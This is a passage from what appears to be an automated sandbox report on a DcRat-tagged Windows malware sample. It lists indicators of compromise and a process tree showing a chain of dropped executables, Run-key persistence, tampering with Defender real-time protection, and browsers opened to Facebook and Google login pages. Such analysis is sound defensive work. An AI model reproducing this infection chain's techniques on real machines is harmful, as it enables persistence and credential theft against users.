Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

3Hj62Vj.exeAppLaunch.exeExplorer.EXE

pid	process
4968	3Hj62Vj.exe
4968	3Hj62Vj.exe
2588	AppLaunch.exe
2588	AppLaunch.exe
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

3Hj62Vj.exetoolspub2.exe

pid process

4968 3Hj62Vj.exe
6748 toolspub2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 22 IoCs

Processes:

msedge.exe

pid	process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

AppLaunch.exeExplorer.EXEkos4.exe2CDD.exe

description	pid	process
Token: SeDebugPrivilege	2588	AppLaunch.exe
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeDebugPrivilege	5352	kos4.exe
Token: SeDebugPrivilege	6672	2CDD.exe
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE

Suspicious use of FindShellTrayWindow 26 IoCs

Processes:

msedge.exe2ED2.exe

pid	process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
6752	2ED2.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exe

pid	process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Broom.exe

pid process

4944 Broom.exe

pid	process
4944	Broom.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exefm5tw98.exekP0KZ11.exe1XI87wG0.exe2hP4574.exe4xG338iU.exeExplorer.EXEFB09.exexr2hl2ge.exeGh7Er0Fk.exe

description	pid	process	target process
PID 2876 wrote to memory of 3168	2876	NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe	fm5tw98.exe
PID 2876 wrote to memory of 3168	2876	NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe	fm5tw98.exe
PID 2876 wrote to memory of 3168	2876	NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe	fm5tw98.exe
PID 3168 wrote to memory of 2372	3168	fm5tw98.exe	kP0KZ11.exe
PID 3168 wrote to memory of 2372	3168	fm5tw98.exe	kP0KZ11.exe
PID 3168 wrote to memory of 2372	3168	fm5tw98.exe	kP0KZ11.exe
PID 2372 wrote to memory of 3188	2372	kP0KZ11.exe	1XI87wG0.exe
PID 2372 wrote to memory of 3188	2372	kP0KZ11.exe	1XI87wG0.exe
PID 2372 wrote to memory of 3188	2372	kP0KZ11.exe	1XI87wG0.exe
PID 3188 wrote to memory of 2588	3188	1XI87wG0.exe	AppLaunch.exe
PID 3188 wrote to memory of 2588	3188	1XI87wG0.exe	AppLaunch.exe
PID 3188 wrote to memory of 2588	3188	1XI87wG0.exe	AppLaunch.exe
PID 3188 wrote to memory of 2588	3188	1XI87wG0.exe	AppLaunch.exe
PID 3188 wrote to memory of 2588	3188	1XI87wG0.exe	AppLaunch.exe
PID 3188 wrote to memory of 2588	3188	1XI87wG0.exe	AppLaunch.exe
PID 3188 wrote to memory of 2588	3188	1XI87wG0.exe	AppLaunch.exe
PID 3188 wrote to memory of 2588	3188	1XI87wG0.exe	AppLaunch.exe
PID 2372 wrote to memory of 1824	2372	kP0KZ11.exe	2hP4574.exe
PID 2372 wrote to memory of 1824	2372	kP0KZ11.exe	2hP4574.exe
PID 2372 wrote to memory of 1824	2372	kP0KZ11.exe	2hP4574.exe
PID 1824 wrote to memory of 2972	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2972	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2972	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 1824 wrote to memory of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 3168 wrote to memory of 4968	3168	fm5tw98.exe	3Hj62Vj.exe
PID 3168 wrote to memory of 4968	3168	fm5tw98.exe	3Hj62Vj.exe
PID 3168 wrote to memory of 4968	3168	fm5tw98.exe	3Hj62Vj.exe
PID 2876 wrote to memory of 260	2876	NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe	4xG338iU.exe
PID 2876 wrote to memory of 260	2876	NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe	4xG338iU.exe
PID 2876 wrote to memory of 260	2876	NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe	4xG338iU.exe
PID 260 wrote to memory of 2832	260	4xG338iU.exe	AppLaunch.exe
PID 260 wrote to memory of 2832	260	4xG338iU.exe	AppLaunch.exe
PID 260 wrote to memory of 2832	260	4xG338iU.exe	AppLaunch.exe
PID 260 wrote to memory of 2832	260	4xG338iU.exe	AppLaunch.exe
PID 260 wrote to memory of 2832	260	4xG338iU.exe	AppLaunch.exe
PID 260 wrote to memory of 2832	260	4xG338iU.exe	AppLaunch.exe
PID 260 wrote to memory of 2832	260	4xG338iU.exe	AppLaunch.exe
PID 260 wrote to memory of 2832	260	4xG338iU.exe	AppLaunch.exe
PID 3148 wrote to memory of 1784	3148	Explorer.EXE	FB09.exe
PID 3148 wrote to memory of 1784	3148	Explorer.EXE	FB09.exe
PID 3148 wrote to memory of 1784	3148	Explorer.EXE	FB09.exe
PID 1784 wrote to memory of 1336	1784	FB09.exe	xr2hl2ge.exe
PID 1784 wrote to memory of 1336	1784	FB09.exe	xr2hl2ge.exe
PID 1784 wrote to memory of 1336	1784	FB09.exe	xr2hl2ge.exe
PID 3148 wrote to memory of 3056	3148	Explorer.EXE	cmd.exe
PID 3148 wrote to memory of 3056	3148	Explorer.EXE	cmd.exe
PID 1336 wrote to memory of 3512	1336	xr2hl2ge.exe	Gh7Er0Fk.exe
PID 1336 wrote to memory of 3512	1336	xr2hl2ge.exe	Gh7Er0Fk.exe
PID 1336 wrote to memory of 3512	1336	xr2hl2ge.exe	Gh7Er0Fk.exe
PID 3148 wrote to memory of 3444	3148	Explorer.EXE	FD6D.exe
PID 3148 wrote to memory of 3444	3148	Explorer.EXE	FD6D.exe
PID 3148 wrote to memory of 3444	3148	Explorer.EXE	FD6D.exe
PID 3512 wrote to memory of 4256	3512	Gh7Er0Fk.exe	WJ7CX9Pm.exe
PID 3512 wrote to memory of 4256	3512	Gh7Er0Fk.exe	WJ7CX9Pm.exe
PID 3512 wrote to memory of 4256	3512	Gh7Er0Fk.exe	WJ7CX9Pm.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3148

C:\Users\Admin\AppData\Local\Temp\NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe
"C:\Users\Admin\AppData\Local\Temp\NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe"
2⤵
- DcRat
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2876

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\fm5tw98.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\fm5tw98.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3168

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\kP0KZ11.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\kP0KZ11.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2372

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1XI87wG0.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1XI87wG0.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3188

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
6⤵
- Modifies Windows Defender Real-time Protection settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2588

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2hP4574.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2hP4574.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1824

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
6⤵
PID:2972

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
6⤵
PID:2812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2812 -s 540
7⤵
- Program crash
PID:5048

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3Hj62Vj.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3Hj62Vj.exe
4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4968

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4xG338iU.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4xG338iU.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:260

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
4⤵
PID:2832

C:\Users\Admin\AppData\Local\Temp\FB09.exe
C:\Users\Admin\AppData\Local\Temp\FB09.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1784

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xr2hl2ge.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xr2hl2ge.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1336

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Gh7Er0Fk.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Gh7Er0Fk.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3512

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\WJ7CX9Pm.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\WJ7CX9Pm.exe
5⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4256

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\MJ6ZM6fn.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\MJ6ZM6fn.exe
6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4880

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Vq75yQ8.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Vq75yQ8.exe
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2548

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
8⤵
PID:2460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2460 -s 540
9⤵
- Program crash
PID:2524

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2mM361yP.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2mM361yP.exe
7⤵
- Executes dropped EXE
PID:4928

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FCC0.bat" "
2⤵
PID:3056

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
3⤵
PID:664

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
4⤵
PID:2088

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2072,16209218769764938120,13916290344415454124,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2
4⤵
PID:4548

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2072,16209218769764938120,13916290344415454124,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 /prefetch:3
4⤵
PID:2872

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
3⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4776

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
4⤵
PID:3736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:2
4⤵
PID:3892

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2536 /prefetch:8
4⤵
PID:4404

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
4⤵
PID:2316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
4⤵
PID:4024

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
4⤵
PID:4252

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3912 /prefetch:1
4⤵
PID:5424

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4120 /prefetch:1
4⤵
PID:5608

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5012 /prefetch:1
4⤵
PID:5796

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5444 /prefetch:1
4⤵
PID:5980

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5704 /prefetch:1
4⤵
PID:3800

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5820 /prefetch:1
4⤵
PID:5220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5956 /prefetch:1
4⤵
PID:6136

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1448,3511541664601914500,10044155474570278415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6180 /prefetch:1
4⤵
PID:6208

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
